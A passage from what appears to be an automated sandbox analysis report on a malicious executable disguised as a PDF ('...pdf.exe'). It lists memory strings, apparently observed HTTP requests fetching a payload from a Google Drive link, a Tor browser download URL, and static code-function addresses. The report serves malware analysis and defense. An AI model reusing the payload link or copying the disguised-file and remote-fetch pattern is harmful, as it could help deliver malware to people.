            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.chambersign.org1
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.comsign.co.il/cps0
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1638180913.0000000020312000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1663850728.0000000020312000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5904630379.0000000020312000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.datev.de/zertifikat-policy-bt0
            Source: CasPol.exe, 00000005.00000003.1638639525.00000000202DC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.datev.de/zertifikat-policy-int0
            Source: CasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.datev.de/zertifikat-policy-std0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.defence.gov.au/pki0
            Source: CasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.disig.sk/ca/crl/ca_disig.crl0
            Source: CasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.disig.sk/ca0f
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.dnie.es/dpc0
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.e-me.lv/repository0
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.e-szigno.hu/RootCA.crl
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.e-szigno.hu/RootCA.crt0
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.e-szigno.hu/SZSZ/0
            Source: CasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.e-trust.be/CPS/QNcerts
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1638221382.0000000020314000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.ecee.gov.pt/dpc0
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.echoworx.com/ca/root2/cps.pdf0
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.eme.lv/repository0
            Source: CasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.firmaprofesional.com/cps0
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.globaltrust.info0
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.globaltrust.info0=
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0
            Source: CasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1638315787.0000000020329000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.informatik.admin.ch/PKI/links/CPS_2_16_756_1_17_3_1_0.pdf0
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.oaticerts.com/repository.
            Source: CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.pki.admin.ch/cps/CPS_2_16_756_1_17_3_1_0.pdf09
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.pki.admin.ch/cps/CPS_2_16_756_1_17_3_21_1.pdf0:
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0
            Source: CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.pki.gva.es/cps0
            Source: CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.pki.gva.es/cps0%
            Source: CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.pkioverheid.nl/policies/root-policy-G20
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.pkioverheid.nl/policies/root-policy0
            Source: CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.postsignum.cz/crl/psrootqca2.crl02
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.quovadisglobal.com/cps0
            Source: CasPol.exe, 00000005.00000003.1638639525.00000000202DC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.rcsc.lt/repository0
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sk.ee/cps/0
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sk.ee/juur/crl/0
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.ssc.lt/cps03
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.suscerte.gob.ve/dpc0
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.suscerte.gob.ve/lcr0#
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.trustdst.com/certificates/policy/ACES-index.html0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.uce.gub.uy/acrn/acrn.crl0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G
            Source: CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www2.postsignum.cz/crl/psrootqca2.crl01
            Source: CasPol.exe, 00000005.00000002.5900337811.000000001F6C7000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1664872739.000000001F6AF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5899018738.000000001F66D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://x1.c.lencr.org/0
            Source: CasPol.exe, 00000005.00000002.5900337811.000000001F6C7000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1664872739.000000001F6AF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5899018738.000000001F66D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://x1.i.lencr.org/0
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://crl.anf.es/AC/ANFServerCA.crl0
            Source: CasPol.exe, 00000005.00000003.1498679622.0000000001051000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/report-to/DriveUntrustedContentHttp/external
            Source: 008s06523610054680b6011375030062022.pdf.exeString found in binary or memory: https://d.symcb.com/cps0%
            Source: 008s06523610054680b6011375030062022.pdf.exeString found in binary or memory: https://d.symcb.com/rpa0
            Source: 008s06523610054680b6011375030062022.pdf.exeString found in binary or memory: https://d.symcb.com/rpa0.
            Source: CasPol.exe, 00000005.00000002.5859154518.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1502986633.0000000001038000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://doc-08-2c-docs.googleusercontent.com/
            Source: CasPol.exe, 00000005.00000003.1498679622.0000000001051000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5862577944.0000000001069000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5860229656.0000000001009000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1503338322.0000000001068000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://doc-08-2c-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/v1ohnk8o
            Source: CasPol.exe, 00000005.00000002.5856655006.0000000000FA9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/
            Source: CasPol.exe, 00000005.00000002.5856655006.0000000000FA9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/6
            Source: CasPol.exe, 00000005.00000002.5856655006.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5879510293.000000001C280000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=1cc1XgOFqWbufLdeULcCvdD6jeUzSh58O
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://eca.hinet.net/repository0
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://rca.e-szigno.hu/ocsp0-
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://repository.luxtrust.lu0
            Source: CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://web.certicamara.com/marco-legal0Z
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.anf.es/AC/ACTAS/789230
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.anf.es/AC/ANFServerCA.crl0
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.anf.es/address/)1(0&
            Source: CasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.catcert.net/verarrel
            Source: CasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.catcert.net/verarrel05
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.netlock.hu/docs/
            Source: CasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.netlock.net/docs
            Source: CasPol.exe, 00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www
            Source: CasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://wwww.certigna.fr/autorites/0m
            Source: unknownDNS traffic detected: queries for: drive.google.com
            Source: global trafficHTTP traffic detected: GET /uc?export=download&id=1cc1XgOFqWbufLdeULcCvdD6jeUzSh58O HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/v1ohnk8onm1cb9e2ovt0bpcco65eo93j/1668108900000/13254490670465695558/*/1cc1XgOFqWbufLdeULcCvdD6jeUzSh58O?e=download&uuid=367e4c92-b7a2-4967-b3bb-34165439c218 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-08-2c-docs.googleusercontent.comConnection: Keep-Alive
            Source: unknownHTTPS traffic detected: 142.250.185.142:443 -> 192.168.11.20:49800 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 142.250.185.225:443 -> 192.168.11.20:49801 version: TLS 1.2
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_004056DE GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,2_2_004056DE

            System Summary

            barindex
            Source: initial sampleStatic PE information: Filename: 008s06523610054680b6011375030062022.pdf.exe
            Source: 008s06523610054680b6011375030062022.pdf.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,2_2_0040352D
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeFile created: C:\Windows\resources\0409Jump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_0040755C2_2_0040755C
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_00406D852_2_00406D85
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_70691BFF2_2_70691BFF
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC52BC2_2_02BC52BC
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA2EBB2_2_02BA2EBB
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA2AB12_2_02BA2AB1
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BACAB42_2_02BACAB4
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC6AB22_2_02BC6AB2
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC42A72_2_02BC42A7
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA66902_2_02BA6690
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA4E962_2_02BA4E96
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BACA882_2_02BACA88
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC7E8A2_2_02BC7E8A
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA26822_2_02BA2682
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA52822_2_02BA5282
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA22FA2_2_02BA22FA
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA66F52_2_02BA66F5
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA1EED2_2_02BA1EED
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC5AE52_2_02BC5AE5
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA16D82_2_02BA16D8
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA32D32_2_02BA32D3
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA5EC12_2_02BA5EC1
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA5E3E2_2_02BA5E3E
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA1E3F2_2_02BA1E3F
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA2A362_2_02BA2A36
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BACE232_2_02BACE23
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA26212_2_02BA2621
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC6A222_2_02BC6A22
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA4E182_2_02BA4E18
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA1A782_2_02BA1A78
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA227F2_2_02BA227F
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA32602_2_02BA3260
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA62612_2_02BA6261
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA5A592_2_02BA5A59
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA56492_2_02BA5649
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAC6472_2_02BAC647
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA4FB62_2_02BA4FB6
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA63AC2_2_02BA63AC
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA53A32_2_02BA53A3
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA4BA72_2_02BA4BA7
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA67A42_2_02BA67A4
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA07972_2_02BA0797
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA53972_2_02BA5397
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA178E2_2_02BA178E
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA5FF92_2_02BA5FF9
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA1FF02_2_02BA1FF0
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAD7F62_2_02BAD7F6
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA0BF72_2_02BA0BF7
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA2BE42_2_02BA2BE4
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA2FDC2_2_02BA2FDC
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA2F332_2_02BA2F33
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA4F372_2_02BA4F37
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA272F2_2_02BA272F
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA4B1A2_2_02BA4B1A
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA63192_2_02BA6319
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA570A2_2_02BA570A
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA13022_2_02BA1302
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA5B032_2_02BA5B03
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA4B042_2_02BA4B04
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA5B702_2_02BA5B70
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA1F6A2_2_02BA1F6A
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA236B2_2_02BA236B
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA1B692_2_02BA1B69
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA5F5F2_2_02BA5F5F
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA2B422_2_02BA2B42
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA54BC2_2_02BA54BC
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA4CB12_2_02BA4CB1
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC84AD2_2_02BC84AD
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA5CAC2_2_02BA5CAC
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA1CA32_2_02BA1CA3
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB0CA12_2_02BB0CA1
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA688A2_2_02BA688A
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BABC882_2_02BABC88
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA20832_2_02BA2083
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA60802_2_02BA6080
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA64F92_2_02BA64F9
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA28EF2_2_02BA28EF
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA50E02_2_02BA50E0
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA30D62_2_02BA30D6
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA18202_2_02BA1820
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA24202_2_02BA2420
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA581B2_2_02BA581B
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAC0192_2_02BAC019
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA54102_2_02BA5410
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA68082_2_02BA6808
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA1C092_2_02BA1C09
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB040E2_2_02BB040E
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA00042_2_02BA0004
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA587B2_2_02BA587B
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA30722_2_02BA3072
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA2C732_2_02BA2C73
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB04712_2_02BB0471
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAC0602_2_02BAC060
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA50492_2_02BA5049
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA284C2_2_02BA284C
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC38412_2_02BC3841
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA64452_2_02BA6445
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA59A02_2_02BA59A0
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA4D9A2_2_02BA4D9A
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA29982_2_02BA2998
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA1D9E2_2_02BA1D9E
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAD5902_2_02BAD590
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA25912_2_02BA2591
